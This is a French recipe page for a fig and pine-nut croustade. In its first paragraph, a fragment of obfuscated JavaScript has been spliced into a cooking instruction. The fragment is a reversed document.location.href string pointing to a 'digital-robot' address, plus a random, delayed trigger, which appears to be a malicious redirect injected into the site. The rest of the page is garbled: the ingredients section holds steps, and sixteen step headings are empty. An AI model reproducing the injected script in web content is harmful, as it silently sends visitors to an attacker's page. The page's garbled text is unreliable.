Croustade de fruits avec des pignons de pin
2021-04-14- Cuisine : Croustillants
- Thématique : Végétarien
- Niveau : Difficile
Abaissez la pâte sucrée dans un plat à tarte beurré. Réservez 15 minutes dans le réfrigérateur. Versez le sirop de sucre de canne dans une casserole et faites chauffer sur feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Abaissez la pâte sucrée dans un plat à tarte beurré. Réservez 15 minutes dans le réfrigérateur. Versez le sirop de sucre de canne dans une casserole et faites chauffer sur feu doux tout en remuant. Dans un récipient battez l'œuf entier, en ajoutant la crème fraîche épaisse, le zeste de l'orange, les 100 g de noisettes en poudre, la chapelure blanche.
Versez le sirop de sucre de canne encore chaud, par petites quantités et sans s'arrêter de mélanger et obtenir une pâte lisse.
Versez la crème dans le fond de pâte, lissez avec une spatule.
Préchauffez le four à 210° C thermostat 7. Enfournez et faites cuire pendant 25 minutes.
Rincez, séchez, coupez en quartiers les figues. Les déposer en rosace sur le fond de pâte. Parsemez de pignons de pin. Enfournez et faites cuire pendant 10 minutes. Versez la gelée de mûres dans une petite casserole, faites chauffer sur feu doux, tout en remuant et laissez tiédir hors du feu. Vérifiez la cuisson de la croustade. Avec un pinceau, badigeonnez la croustade de gelée de mûres. Laissez refroidir et dégustez
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
Etape 15
Etape 16
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